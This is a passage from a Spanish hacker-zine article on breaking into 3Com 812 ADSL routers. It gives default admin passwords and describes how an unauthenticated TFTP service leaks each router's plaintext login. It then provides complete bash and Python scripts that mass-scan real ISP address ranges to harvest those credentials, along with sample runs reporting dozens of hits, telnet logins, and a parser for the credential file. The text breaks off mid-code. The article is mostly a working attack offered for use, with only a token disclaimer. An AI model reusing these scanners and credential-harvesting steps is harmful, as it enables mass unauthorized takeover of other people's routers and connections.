-+-| DisidentS Hack Journal #6 |-+- _____________________________________________________________________ | | | -- Titulo_____: 3com 812. Explotando sus vulnerabilidades | | -- Autores____: Sweet_Security & marcansoft | | -- Team_______: Disidents España - http://www.disidents.com | | -- Tema_______: Hacking routers | |_____________________________________________________________________| ////////////// ////////////// //// //// ////////// ////////// /////////// /////////// ////// //////// //// /////////// /////////// /////// //////// //// //// //// //// //// /// /// //// //// //// //// //// //// ////// //// //////////// /////////// /////////// //// //// //////////// /////////// /////////// //// //// 812.... ********************************************************************** ********************************************************************** * Explotando sus Vulnerabilidades * ********************************************************************** ********************************************************************** by Sweet_Security & Marcansoft /********************************************************************/ /******** ***********/ /******** Artículo propiedad de: ***********/ /******** ***********/ /******** Disidents: Los fuera de la ley ***********/ /******** (www.disidents.com) ***********/ /******** ***********/ /******** Y dedicado a: ***********/ /******** ***********/ /******** Crazy Anxious Minds ***********/ /******** (www.crazy-mind.org) ***********/ /******** ***********/ /********************************************************************/ |===========~ INDICE ~====================================================== |=========================================================================== |=~ 0.Introducción | | | |=~ 1.Un pequeño script de prueba | | | |=~ 2.Un script algo mas optimizado | | | |=~ 3.Extrayendo user y pass | | | |=~ 4.Y lo juntamos todo | | | |=~ 5.Solución | | | |=~ 6.Conclusiones | |=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=. ======================================================~ ÍNDICE ~============ ============================================================================ .==========================================================================. |===========~ 0.Introducción ~============================================ |=========================================================================== 3com 812 es un modelo de routers que daba telefonica hace algunos años, en esa epoca la gente no tenía los conocimientos que hay ahora sobre la seguridad y la configuración de éstos. Por ser los primeros que implantó telefonica en su afán por expander su ADSL por toda españa. También los daba ya.com hace un año más o menos. Estos routers, como (casi)todos, se pueden configurar por telnet (puerto 23) y por http (puerto 80), por defecto los "técnicos" de telefonica te los dejaban sin filtrar de manera que desde cualquier sitio podías loguear a la config por el puerto 23, y en algunos casos incluso por el 80. Por el desconocimiento de muchos usuarios acerca del funcionamiento de éstos, el pass de muchos sigue por defecto. Así que si alguien tiene prisa que pruebe estos: ------------------------- | user | pass | ------------------------- | adminttd | adminttd | | admintde | admintde | ------------------------- Evidentemente esto sólo servirá algunas pocas veces, el gran error de configuración que incluso muchos de los que creen "saber" desconocen es del servidor TFTP que tiene el router en el puerto 69. TFTP es un protocolo similar al FTP pero con un funcionamiento distinto, por UDP, y sin autenticación. Por defecto la configuración de este, te permite bajar los archivos que quieras del router. Pues bien, en el router hay un archivo llamado "users" que nos interesa en especial por el hecho que, aun siendo binario, el usuario y password del router (aun habiendo sido cambiados) se encuentran en texto plano O_O. Los podemos visualizar con un editor de texto de cualquier tipo: vi en linux, notepad o edit en windows..... La posesión pues, de este archivo, nos permite loguearnos a la configuración del router, y una vez ahí configurarlo a nuestras anchas, o incluso usarlo para chatear por el IRC, floodear.... entre otras cosas. El propio servidor TFTP también tiene sus usos. Veamos el procedimiento de obtención del archivo: Sweet_Security ~;> tftp 217.127.XXX.XXX 69 tftp> get users Received 1540 bytes in 0.6 seconds tftp> quit Sweet_Security ~;> Ahora es tan simple como hacer: vi users Y si nos fijamos un poco veremos algo como esto: adminttdD^Madminttd De dónde no es muy difícil sacar la información interesante: user: adminttd pass: adminttd Ahora solo hace falta hacer: Sweet_Security ~;> telnet 217.127.XXX.XXX Trying 217.127.XXX.XXX... Connected to 217.127.XXX.XXX. Escape character is '^]'. login: adminttd Password: adminttd (nota: no tiene eco de carácteres lógicamente) 3Com-DSL>quit Connection closed by foreign host. Sweet_Security ~;> Como vemos el usuario y el password funcionan a la perfección. Ahora veamos como automtizar esta tarea hasta tal punto de tener varios cientos (o miles) de routers vulnerables en pocos minutos. .==========================================================================. |===========~ 1.Un pequeños script de prueba ~============================== |=========================================================================== Bueno ahora vamos a automatizar un poco esta tarea, para hacerlo de una manera rápida y fácil, lo mejor es hacer un Script de Bash o también llamados (ShellScripts) éstos se caracterizan por ser interpretados por la shell y, a diferencia de otros lenguajes, no se ha de compilar. Es un lenguaje interpretado. Se basa en automatizar las tareas que realizaríamos en la consola manualmente. Qué queremos hacer? ------------------ El propósito del script no es otro que el de ejecutar tftp, pasarle los comandos para recibir el archivo "users" y luego que repita este procedimiento para otras IPs del mismo rango. Como hacerlo? ------------ La manera de hacerlo es bien sencilla, todo se basa en un par de for. Veamos un pequeño script: 3com_PassRecover.sh ----------------------------------------------------------------------------- #!/bin/sh #Variable a modificar según el rango a escanear ################################################## IP=80.59. ############################ MAX=254 PORT=69 OCTET3=0 OCTET4=0 SIZE=0 ( echo "----------------------------------------------------------------" echo "| ######### 3COM-812 Router Password Retrieve ######### |" echo "| by Sweet_Security & marcansoft |" echo "----------------------------------------------------------------" echo "#!/bin/bash" > .timer.tmp.sh #Ponemos los comandos a ejecutar en tftp en un fichero a parte echo get users > .command.tmp echo quit >> .command.tmp #Hacemos un script temporal que controla el tiempo de timeout #y si el tamaño del fichero es 0 lo borra, conforme no se ha #podido recibir. echo SIZE=0 >> .timer.tmp.sh echo sleep 1 >> .timer.tmp.sh echo "SIZE=$(ls -l users | awk '{print $5;}')" >> .timer.tmp.sh echo "if [ $SIZE -eq 0 ] ">> .timer.tmp.sh echo then >> .timer.tmp.sh echo "killall tftp " >> .timer.tmp.sh echo fi >> .timer.tmp.sh echo exit >> .timer.tmp.sh #Le damos permiso de ejecución al script chmod +x .timer.tmp.sh #Empieza el bucle para el 3r octeto for (( OCTET3=0 ; OCTET3 <= MAX ; OCTET3++ )) do #Empieza el bucle para el 4o octeto for (( OCTET4=0 ; OCTET4 <= MAX ; OCTET4++ )) do echo -n Connecting to: $IP$OCTET3.$OCTET4 .... #Ejecuta el temporizador que matara tftp en 1 segundos ./.timer.tmp.sh & #Inicializa PID a 0 PID=0 #Ejecutamos tftp metiéndole los comandos y redirigiendo la salida a null tftp $IP$OCTET3.$OCTET4 $PORT < .command.tmp &>/dev/null #Miramos si despues de recivir el file aun esta .timer.tmp.sh #ejecutándose y miramos su PID PID=$( ps ax | grep timer.tmp.sh | grep -v grep | awk '{print $1;}') #Si el proceso existe y PID es distinto a 0, matamos .timer.tmp.sh #y el sleep. if [ -n $PID ] then killall .timer.tmp.sh killall sleep fi #Una vez dejado los procesos como al principio, ahora miramos el tamaño #del fichero recibido, si es 0 lo borramos puesto que el router no es #vulnerable SIZE=$(ls -l users | awk '{print $5;}') if [ $SIZE -ne 0 ] then #Router vulnerable echo " [+] We have it!" #Movemos "users" a "users.IProuterVulnerable" mv users users.$IP$OCTET3.$OCTET4 else #Router no vulnerable rm users echo " [-] Not Vuln..." fi done done #Borramos los temporales rm .command.tmp rm .timer.tmp.sh exit #Aqui tenemos todo el script asi: ( codigo_script ) 2>/dev/null de esta #manera redireccionamos las salidas no deseadas a /dev/null (papelera) ) 2>/dev/null ----------------------------------------------------------------------------- Bueno, este script no es ni mucho menos óptimo, pero sirve para entender bien el procedimiento y como plantearlo y además es rápido de hacer. Bueno, ahora miramos que tal funciona este juguetito: Sweet_Security ~;> sh 3com_PassRecover.sh ---------------------------------------------------------------- | ######### 3COM-812 Router Password Retrieve ######### | | by Sweet_Security & marcansoft | ---------------------------------------------------------------- Connecting to: 80.59.0.0 .... [-] Not Vuln... Connecting to: 80.59.0.1 .... [-] Not Vuln... Connecting to: 80.59.0.2 .... [-] Not Vuln... Connecting to: 80.59.0.3 .... [-] Not Vuln... Connecting to: 80.59.0.4 .... [-] Not Vuln... Connecting to: 80.59.0.5 .... [-] Not Vuln... Connecting to: 80.59.0.6 .... [-] Not Vuln... Connecting to: 80.59.0.7 .... [-] Not Vuln... Connecting to: 80.59.0.8 .... [-] Not Vuln... Connecting to: 80.59.0.9 .... [-] Not Vuln... Connecting to: 80.59.0.10 .... [-] Not Vuln... ... ... Connecting to: 80.59.0.XX .... [-] Not Vuln... Connecting to: 80.59.0.XX .... [+] We have it! Connecting to: 80.59.0.XX .... [+] We have it! Connecting to: 80.59.0.XX .... [-] Not Vuln... .. Como vemos el script funciona correctamente. Ahora ya tenemos 2 routers con user y pass, vamos a mirar que nos ha generado el script: Sweet_Security ~;> ls 3com_PassRecover.sh users.80.59.0.XX users.80.59.0.XX Sweet_Security ~;> Perfecto, nos ha guardado los ficheros tal y como nostros queríamos, vamos a ver si se pueden leer los users y pass: Sweet_Security ~;> vi users.80.59.0.15 00.3ÿÿÿÿ^@^@^............. ...........rootD^M!root......... ...............A^@^Aà;^@xuü^@^@^@^A Aqui vemos el user/pass, solo hace falta probarlo: Sweet_Security ~;> telnet 80.59.XXX.XXX Trying 80.59.XXX.XXX... Connected to 80.59.XXX.XXX. Escape character is '^]'. login: root Password: root 3Com-DSL>quit Connection closed by foreign host. Sweet_Security ~;> Perfecto, ya tenemos lo que queríamos, un script sencillo, hecho por nosotros y que hace lo que nosotros queríamos. Pero...... A medida que lo uses te cansarás de tener que esperar más de una noche entera para escanear un maldito rango de clase B (A.B.0-254.0-254). (No le dimos mas vida que una noche xDDD) Así que tenemos que hacer algo más rápido.... Mucho más rápido.... que tal si hacemos un árbol de directorios ordenando las IPs. Y... que tal si envez de ir de host en host vamos... de rango C a rango C, es decir, abrir tftp para a.b.c.1-254 a la vez, luego cerrarlos incremetar c y repetir la operación... De esta manera escanearíamos 254 hosts en pocos segundos.... Pero entonces... cómo les pasamos los comandos al tftp para que haga: get users users.IP ? si al principio del programa IP tiene un valor distinto.... .==========================================================================. |===========~ 2.Un script algo mas optimizado ~============================= |=========================================================================== Pues bien, la manera de resolver este enigma es esta: echo -ne "get users users.IP\n quit\n" | tftp IP 69 mmm... parece correcto, así le pasamos los comandos con el final de línea a tftp... pero y el temporizador? porque si lo dejáramos asi, si el router no es vuln tardaría siglos en cerrar la conexión y eso no interesa... bueno, la solución es tan simple como hacer: Sweet_Security ~;> man tftp .......... .......... timeout total-transmission-timeout Set the total transmission timeout, in seconds. .......... .......... Sweet_Security ~;> Bueno, aquí tenemos lo que buscábamos, resulta que si ponemos, una vez conectados, "timeout 1", si en 1 segundo el router no responde se corta la conexión, pues perfecto. Ahora sólo hace falta modificar la línea anterior para tener la sentencia que ejecuta tftp tal y como nosotros queremos: echo -ne "timeout 1\n get users users.IP\n quit\n" | tftp IP 69 Ahora sí hace lo que queremos, aunque no del todo, porque tal y como está ahora, ejecutará tftp una sola vez por segundo, y eso no interesa porque ya lo hacíamos antes... asi que... que se usa en linux para ejecutar dos comandos "a la vez"? Si señor, el "&" al final de línea, pues lo ponemos. Y ya de paso le ponemos: ">/dev/null" al tftp para que no de ningún tipo de salida al STDOUT que moleste. echo -ne "timeout 1\n get users users.IP\n quit\n" | tftp IP 69 >/dev/null & Esta vez sí es la definitiva. Ésta es justamente la línea que necesitamos. Aunque no lo parezca esta línea hace lo mismo que los dos temporales y la línea de tftp que teníamos en el primer script. Así hemos augmentado rapidez y eficácia. Por otra parte, no creéis que es algo molesto tener que modificar la IP del código cada vez? No sería mejor que la pillara como parámetro? Hagámoslo: $IP=80.59. if [ "X$1" != "X" ]; then IP=$1 fi NOTA: Bash no coge las cadenas vacias de vez en cuando, por lo tanto hacemos que compare "X$1" con "X" de esta manera si no hay argumento "X$1" == "X". Éste método es más fiable. Aquí tenemos la solución, si existe "$1" (un argumento), entonces $IP toma su valor y en caso contrario "$IP=80.59." es importante el "." al final del rango, puesto que de lo contrario no irá bien. (en el argumento también tenemos que poner el "." al final). Bueno ahora que ya hemos visto los cambios mas importantes vamos a ver el script 3com_PassRecoverFLASH.sh ----------------------------------------------------------------------------- #!/bin/bash ( #Valor por defecto de $IP $IP=80.59. #Si existe argumento, se lo asignamos a $IP if [ "X$1" != "X" ] then IP=$1 fi #Inicializamos las variables total=0 PORT=69 octet3=0 octet4=0 MAX=254 VULN=0 echo "----------------------------------------------------------------" echo "| ######### 3COM-812 Router Password Retrieve ######### |" echo "| *** FLASHING VERSION *** by Sweet_Security & marcansoft |" echo "----------------------------------------------------------------" #Creamos el directorio donde guardar los resultados y accedemos #Si $IP esta por defecto se crea: 80.59./ mkdir $IP && cd $IP #Inicializamos bucle del 3r octeto for(( octet3=0 ; octet3 <= MAX ; octet3++ )); do #Imprimimos el rango ke estamos escaneando ahora echo -n "Scanning: $IP$octet3.X " #Creamos el directorio donde guardar los users de: aaa.bbb.ccc.X y #accedemos mkdir $IP$octet3 && cd $IP$octet3 #Inicializamos bucle del 4o octeto for(( octet4=0 ; octet4 <= MAX ; octet4++ )) do #Sentencia que ejecuta tftp y le pone los comandos y argumentos correctos echo -ne "timeout 2\n get users users.$IP$octet3.$octet4\n quit\n" | tftp $IP$octet3.$octet4 $PORT > /dev/null & done #Empieza el tratamiento de resultado, pork en este punto tenemos #254 archivos en el directorio (o no xD) echo -n "[++] Cleaning up.. " #Hacemos un for para ir viendo si existen los archivos for(( octet4=0 ; octet4 <= MAX ; octet4++ )) do #Si existe el fichero y su tamaño es mayor que 0 #incrementamos $VULN en 1 if [ -s "users.$IP$octet3.$octet4" ] then (( VULN=VULN+1 )) else #En caso contrario borramos el archivo, puesto #que no contiene datos rm users.$IP$octet3.$octet4 fi done #Salimos del directorio 80.59.ccc cd .. #Si $VULN es 0 borramos el directorio con rmdir #usamos rmdir, pork si la comprovacion se hace antes de que todos #los ficheros se hayan bajado, podria ser que hubiera algun file que #no exisitia en el momento de la comprovacion, y en ese caso rmdir no #borraria el directorio. if [ $VULN -eq 0 ] then echo FUCKING RANGE rmdir $IP$octet3 else #Si $VULN no es 0 dice cuantos tenemos echo We have at least $VULN user/pass fi #Incrementamos total (( total=total+VULN )) VULN=0 done #Una vez terminado el rango aaa.bbbb. salimos del directorio cd .. #Y finalmente imprimimos el total echo TOTAL GOT: $total... Not bad, but could be better... exit #Como antes filtramos las salidas no deseadas xD )2>/dev/null ----------------------------------------------------------------------------- Bueno señores aquí tenemos un script que scanea 254 IPs en poco más de 1 segundo. Vamos a probarlo? por supuesto. Antes de nada hay que decir que entrar en routers agenos sin consentimiento es ilegal, sacar ADSL a alguien por cargarte su router también es ilegal .... etc etc etc. Que cada uno lo use como quiera pero no seais TONTOS, y por supuesto nosotros no tenemos ninguna responsabilidad sobre el uso que hagáis de estos conociemintos.. Vale ya de tanta tontería y vamos a probarlo: Sweet_Security ~;> sh 3com_PassRecoverFLASH.sh ---------------------------------------------------------------- | ######### 3COM-812 Router Password Retrieve ######### | | ****** FLASHING VERSION ****** by Sweet_Security | ---------------------------------------------------------------- Scanning: 80.59.0.X [++] Cleaning up.. We have 28 user/pass Scanning: 80.59.1.X [++] Cleaning up.. We have 24 user/pass Scanning: 80.59.2.X [++] Cleaning up.. We have 15 user/pass Scanning: 80.59.3.X [++] Cleaning up.. FUCKING RANGE Scanning: 80.59.4.X [++] Cleaning up.. FUCKING RANGE .... .... Sweet_Security ~;> Como vemos ya tenemos 28+24+15=67 3com con user y pass en cuestión de 10 segundos como mucho además de haber escaneado 1250 Host en busca de 3com vulnerables. Ahora vamos a probarlo metiéndole algún argumento, por ejemplo 217.127. : Sweet_Security ~;> sh 3com_PassRecoverFLASH.sh 217.127. ---------------------------------------------------------------- | ######### 3COM-812 Router Password Retrieve ######### | | ****** FLASHING VERSION ****** by Sweet_Security | ---------------------------------------------------------------- Scanning: 217.127.0.X [++] Cleaning up.. We have 6 user/pass Scanning: 217.127.1.X [++] Cleaning up.. We have 7 user/pass Scanning: 217.127.2.X [++] Cleaning up.. We have 2 user/pass Scanning: 217.127.3.X [++] Cleaning up.. FUCKING RANGE Scanning: 217.127.4.X [++] Cleaning up.. FUCKING RANGE .... .... Sweet_Security ~;> Visto esta que funciona a la perfección, ahora veamos que nos ha guardado: Sweet_Security ~;> ls 3com_PassRecoverFLASH.sh 3com_PassRecover.sh 217.127. 80.59. Sweet_Security ~;> Como vemos nos ha creado dos directorios: 217.127./ y 80.59./ vamos a ver que es lo que hay dentro de cada uno: Sweet_Security ~;> cd 217.127. Sweet_Security ~/217.127.;> ls 217.127.0 217.127.1 217.127.2 217.127.5 Sweet_Security ~/217.127.;> Bien, ahi tenemos subdirectorios con los rangos que tienen Ips vulnerables porque los que no tienen han sido borrados, como vemos no hay 217.127.3 por ejemplo. Veamos ahora que contienen estos directorios: Sweet_Security ~/217.127.;> ls 217.127.0 users.217.127.0.XX users.217.127.0.XX users.217.127.0.XX users.217.127.0.XX users.217.127.0.XX users.217.127.0.ZZ Sweet_Security ~/217.127.;> Bueno, aquí tenemos lo que queríamos, los files ordenaditos. Pasamos de recorrer el 80.59. porque es lo mismo xD. Ahora vamos a hacer un script para sacar user y pass de los "users" files de una manera efectiva. .==========================================================================. |===========~ 3.Extrayendo user y pass ~==================================== |=========================================================================== Hasta ahora teníamos que extraer el user y el pass de los archivos "users" a mano, algo factible para un par de docenas, pero completamente inútil si pensamos automatizar algo para que use cientos de routers (algún voluntario para analizar 300 archivos a mano? xD). Así que reversearemos el formato, o al menos lo intentaremos, y así además aprendemos un poco de estructuras típicas de formatos binarios. Veamos un hexdump de un archivo típico. Iremos exponiendo los datos que hemos encontrado útiles. Suponemos que sabréis leer mínimamente un hexdump formato -C. Si no, esperamos que esto os ayude: DDDDDDDD XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX |xxxxxxxxxxxxxxxx| DDDDDDDD dirección en el archivo (hexadecimal) XX bytes del archivo (hexadecimal) x carácteres del archivo en ASCII (los carácteres no imprimibles se expresan con "." marcansoft:~$ hexdump -Cv users.80.59.x.x 00000000 30 30 2e 33 ff ff ff ff 00 00 01 04 ff 1d 06 00 |00.3ÿÿÿÿ....ÿ...| ^^^^^^^^^^^ ^^^^ Aquí podemos ver lo que parece una versión. Lo usaremos para saber si el archivo es válido. Siempre debería ser '00.3'. 00000010 00 00 01 1f 06 ff ff ff ff 55 06 ff ff ff ff 1e |.....ÿÿÿÿU.ÿÿÿÿ.| 00000020 06 ff ff ff ff 74 06 00 00 00 02 20 06 00 00 00 |.ÿÿÿÿt..... ....| 00000030 00 22 06 00 00 05 ea 23 06 00 00 00 01 25 06 00 |."....ê#.....%..| 00000040 00 00 00 26 06 00 00 00 17 2d 06 00 00 01 2c 2f |...&.....-....,/| 00000050 06 00 00 00 01 30 06 00 00 00 01 31 06 00 00 00 |.....0.....1....| 00000060 3c 32 06 00 00 00 14 33 06 00 00 00 01 34 06 00 |<2.....3.....4..| 00000070 00 00 04 35 06 ff ff ff ff 36 06 ff ff ff ff 38 |...5.ÿÿÿÿ6.ÿÿÿÿ8| 00000080 06 00 00 00 01 39 06 00 00 01 00 3a 06 00 00 00 |.....9.....:....| 00000090 03 3b 06 00 00 00 01 75 06 00 00 00 02 3c 06 00 |.;.....u.....<..| 000000a0 00 00 02 3d 06 00 00 00 01 3f 06 00 00 00 02 40 |...=.....?.....@| 000000b0 06 00 00 00 01 41 06 00 00 00 02 53 07 76 74 31 |.....A.....S.vt1| 000000c0 30 30 56 06 00 00 00 01 58 05 41 6c 6c 5a 06 00 |00V.....X.AllZ..| 000000d0 00 00 02 68 06 00 00 00 02 71 06 00 00 00 02 76 |...h.....q.....v| 000000e0 06 00 00 00 01 69 06 00 00 00 03 70 06 00 00 00 |.....i.....p....| 000000f0 00 77 06 00 00 00 01 6a 06 00 00 00 01 73 06 00 |.w.....j.....s..| 00000100 00 00 01 00 00 00 00 04 ff ff ff ff 4b 6b 06 00 |........ÿÿÿÿKk..| 00000110 00 00 00 6c 06 00 00 00 00 6d 06 00 00 00 00 6e |...l.....m.....n| 00000120 06 00 00 00 00 6f 06 00 00 00 00 72 06 00 00 00 |.....o.....r....| 00000130 01 55 06 00 00 00 00 1e 06 00 00 00 00 78 06 00 |.U...........x..| 00000140 00 00 00 79 06 ff ff ff ff 7a 06 00 00 00 01 00 |...y.ÿÿÿÿz......| 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| Todo esto es basura para nuestros propósitos. Fijáos en el espacio vacio al final. 00000200 00 00 00 00 ff ff ff ff ff ff ff ff 2c 1b 12 90 |....ÿÿÿÿÿÿÿÿ,...| Aquí parece comenzar una nueva "sección" del archivo, también es más o menos lógico que empiece en 0x200, una posición redonda. 00000210 6e f9 c7 7d 8b b8 62 18 0d be b6 22 dd 2f 10 43 |nùÇ}.¸b..¾¶"Ý/.C| 00000220 09 65 72 70 69 73 68 61 44 08 32 34 30 38 38 34 |.erpishaD.240884| 00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| Y aquí tenemos nuestro desado user (erpisha) y pass (240884) 00000240 00 07 56 f8 00 73 83 dc 00 00 00 00 00 00 00 00 |..Vø.s.Ü........| 00000250 00 00 00 00 00 08 40 ac 00 73 83 dc 00 00 00 00 |......@¬.s.Ü....| 00000260 3d 66 4a 08 3d 66 41 0c 00 00 00 00 fb 39 f1 48 |=fJ.=fA.....û9ñH| 00000270 00 00 0b b8 00 00 17 70 00 00 00 00 00 00 0b b8 |...¸...p.......¸| 00000280 00 00 00 00 02 00 00 00 00 00 00 00 00 50 06 df |.............P.ß| 00000290 fb 39 f1 48 fb 52 19 d3 50 12 02 00 00 00 00 00 |û9ñHûR.ÓP.......| 000002a0 00 00 00 00 00 00 00 00 00 06 00 00 50 3b 02 06 |............P;..| 000002b0 50 3b bb 72 00 00 00 00 00 00 00 00 00 00 00 00 |P;»r............| 000002c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002e0 00 00 00 00 00 79 96 4c 00 75 7d 0c 00 1d 40 01 |.....y.L.u}...@.| 000002f0 00 04 e0 73 00 00 e0 01 00 01 e0 01 00 76 97 6c |..às..à...à..v.l| 00000300 00 00 00 01 ff ff ff ff ff ff ff ff 87 1d 06 00 |....ÿÿÿÿÿÿÿÿ....| Fijáos como aquí parece que comienza otra sección pero esta vez sin user ni pass: 00000310 00 00 05 1b 12 91 de 03 6f af b5 6c 32 18 0d be |......Þ.o¯µl2..¾| 00000320 b6 22 dd 2f 10 3a 06 00 00 00 01 34 06 00 00 00 |¶"Ý/.:.....4....| 00000330 00 3b 06 00 00 00 01 3c 06 00 00 00 02 40 06 00 |.;.....<.....@..| 00000340 00 00 02 6b 06 00 00 00 08 6c 06 00 00 00 20 6a |...k.....l.... j| 00000350 06 00 00 00 01 6d 06 00 00 00 00 1f 06 ff ff ff |.....m.......ÿÿÿ| 00000360 c0 1e 06 50 3b 02 02 55 06 50 3b 02 06 69 06 00 |À..P;..U.P;..i..| 00000370 00 00 01 68 06 00 00 00 01 21 12 49 4e 52 53 69 |...h.....!.INRSi| 00000380 6e 74 65 72 6e 65 74 2e 46 4c 54 00 00 00 00 00 |nternet.FLT.....| 00000390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000400 00 00 00 00 |....| 00000404 Si bien es cierto que en la mayoría de routers con passwords por defecto están en la misma posición, obviamente querremos saber más sobre como se colocan los datos. Consideraremos una "sección" un rango de 0x100 bytes que comienza en 0xs00 donde s > 2. Hay veces que el user está en 0x200, otras en 0x300, y a veces el archivo es más largo y se encuentra en 0x400 o incluso 0x500. Después de comparar media docena de users a mano, encontramos la clave: ... 00000200 00 00 00 00 ff ff ff ff ff ff ff ff 2c 1b 12 90 |....ÿÿÿÿÿÿÿÿ,...| ... 00000300 00 00 00 01 ff ff ff ff ff ff ff ff 87 1d 06 00 |....ÿÿÿÿÿÿÿÿ....| ... ^^ Fijáos en ese byte que hemos señalado. Siempre está en la posición 0x0d dentro de una sección, es decir, en 0x20d, 0x30d, etc. Si ese byte es 0x1b, tenemos una sección de user y pass. Si no, es otra cosa (comunmente 0x1d que no sabemos realmente que es, y nos da igual). Ahora fijémonos en esto: 00000220 09 65 72 70 69 73 68 61 44 08 32 34 30 38 38 34 |.erpishaD.240884| 00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| Si comparamos varios archivos, veremos que el formato es como sigue: 09 longitud de user más 2 (ni idea de por que, pero es +2, así que el user tiene 09-2=7 carácteres) 65 72 70 69 73 68 61 user (erpisha) 44 suele ser 'D' pero a veces cambia. Nos da igual. 08 longitud de pass más 2 ( 08-2=6 carácteres) 32 34 30 38 38 34 password (240884) Este formato no es completo, hemos visto casos en los que hay más bytes entre el user y la pass que uno solo, 'D', pero son minoria. Una vez visto la estructura de los archivos, vemos que podemos crear un programa que nos lo haga por si solo, así que lo haremos todo junto, scanner, y extract. .==========================================================================. |===========~ 4. Y lo juntamos todo ~======================================= |=========================================================================== Hemos visto como se accede a los routers, y como se extrae el user y pass. Sin embargo, y como habrán podido comprobar los que hayan probado los scripts bash, gastan mucha CPU y RAM. Esto es debido a que bash no esta pansado para realizar tareas intensivas, y llamamos a muchos otros programas separados. Ahora haremos un programa en python que realice las operaciones de escanear en busca de 3com y extraer su user y pass, sin depender de ningún programa externo. Aqui implementaremos el anterior algoritmo de extraer user y pass. El programa esta basado en multithreading para los multiples escaneadores paralelos, con unas clases para manejar los rangos de IPs que se van suministrando a los threads. Este es el programa completo, comentado con lo que hace cada cosa. Si no sabes python, busca tutoriales que hay muchos ;) tftplib es un módulo aparte que se incluye después. Está basado en el que se encuentra aqui: http://www.timo-tasi.org/python/tftplib.py con algunasmodificaciones mias. 812scanner.py ----------------------------------------------------------------------------- #!/usr/bin/python # Un poco de todo... :) import sys, os, string, threading, time, getopt, re # Y el tftp de marras import tftplib # Lock para acceder a la variable de IP actual. Sino, se pueden dar problemas # al hacer multithreading iplock = threading.RLock() # Lock para imprimir en la pantalla. Se entremezclan los mensajes sino. plock = threading.Lock() ##### INCREMENTA IP # Con esto incrementamos una ip, nada del otro mundo. def incip(ip): # dividimos por '.' parts = string.split(ip, ".") # sumale 1 parts[3]=str(int(parts[3])+1); # si es mayor o igual a 256 if int(parts[3])>=256: # siguiente numero parts[2]=str(int(parts[2])+1); # y ponemos el actual a 0 parts[3]="0" # y se repite... if int(parts[2])>=256: parts[1]=str(int(parts[1])+1); parts[2]="0" if int(parts[1])>=256: parts[0]=str(int(parts[0])+1); parts[1]="0" if int(parts[0])>=256: return None # unimos la cadena de nuevo return string.join(parts,".") ##### END INCREMENTA IP ##### CHEQUEA IP # Verifica si es una IP válida dentro de el rango 0-255 para cada octeto def checkip(ip): parts = string.split(ip, ".") if int(parts[3])>=256: return 0 if int(parts[2])>=256: return 0 if int(parts[1])>=256: return 0 if int(parts[0])>=256: return 0 return 1 ##### END CHEQUEA IP ##### CLASE IPrange: maneja un rango de IPs. # Con esta clase manejamos un rango de ips, y podemos ir pidiendo la # siguiente ip del rango. # Devuelve None cuando no quedan IPs class IPrange: def __init__(self,start,end): # almacenamos inicio, fin, ip actual self.ip=None self.start=start self.end=end self.done=0 # siguiente ip def getnext(self): # si no quedan ips, para acortar, devolvemos None directamente. if self.done==1: return None # Cuidado con los threads iplock.acquire() # Si no hemos pedido ninguna ip if self.ip == None: # devuelve la primera self.ip=self.start iplock.release() return self.ip # incrementa la ip actual self.ip=incip(self.ip) # si el resultado no es valido (255.255.255.255 no se puede # incrementar) if self.ip == None: # se nos han acabado self.done=1 iplock.release() return None # si llegamos al final if self.ip == self.end: # pues eso, se nos han acabado self.done=1 iplock.release() return None # devolvemos la ip actual iplock.release() return self.ip ##### END IPrange ##### CLASE IPranges: maneja varios rangos de IPs. # Esta maneja varios IPrange y cuando se acaba uno pasa al siguiente class IPranges: def __init__(self): # Lista vacia al comienzo self.ranges=[] # Agregar un rango mas def add(self,start,end): self.ranges.append(IPrange(start,end)) # Siguiente ip def getnext(self): # Cuiado con los threads iplock.acquire() # Si no quedan rangos if len(self.ranges)==0: # Pues eso iplock.release() return None # Coge la siguiente ip=self.ranges[0].getnext() # Si se nos acaba ese rango if ip==None: # Lo borramos self.ranges=self.ranges[1:] iplock.release() # Y repetimos para coger el siguiente return self.getnext() # Lo tenemos iplock.release() # Devolver la ip return ip ##### END IPranges # Este objeto guarda todos los rangos del programa ipranges=IPranges() ##### FUNCION extract # Funcion para extraer user y pass def extract(f): # 0x300 es lo mínimo para una sección if len(f) < 0x300: return ("err","tooshort") # Si la versión está mal if f[0:4] != "00.3": return ("err","badmagic") # Los primeros 0x200 son basura f=f[0x200:] # Calcular el número de secciones que caben en este archivo s=int(len(f)/0x100) # Vamos pasando por todas las secciones for i in range(s): # Si es una sección user y pass if ord(f[0x0d]) == 0x1b: # Leer longitud ul=ord(f[0x20]) # Si es más de 20 es sospechosa (Corrupto, he visto muchos mal) if ul>20: return 